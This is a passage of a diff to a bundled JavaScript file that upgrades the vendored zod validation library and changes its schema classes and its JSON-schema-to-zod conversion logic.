this.check(_url(ZodURL, params)); + }, + jwt(params) { + return this.check(_jwt(ZodJWT, params)); + }, + emoji(params) { + return this.check(_emoji2(ZodEmoji, params)); + }, + guid(params) { + return this.check(_guid(ZodGUID, params)); + }, + uuid(params) { + return this.check(_uuid(ZodUUID, params)); + }, + uuidv4(params) { + return this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -59743,6 +64366,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -59782,8 +64421,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -59892,6 +64531,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -59907,10 +64560,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -59920,11 +64576,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -59970,14 +64644,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -60008,28 +64676,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -60099,41 +64792,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -60143,53 +64846,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -60267,13 +64971,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -60287,6 +65004,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -60310,13 +65028,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -60329,6 +65046,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -60348,6 +65066,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -60368,7 +65087,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -60449,6 +65168,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -60464,21 +65184,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -60594,7 +65313,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -60731,8 +65450,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -60772,7 +65498,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -60798,7 +65524,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -60888,6 +65639,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -60898,7 +65655,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -60906,6 +65663,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -60998,13 +65947,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -61021,6 +65972,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -61054,10 +66009,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -61088,21 +66043,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -61129,15 +66073,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -61145,13 +66125,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -61159,13 +66138,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : 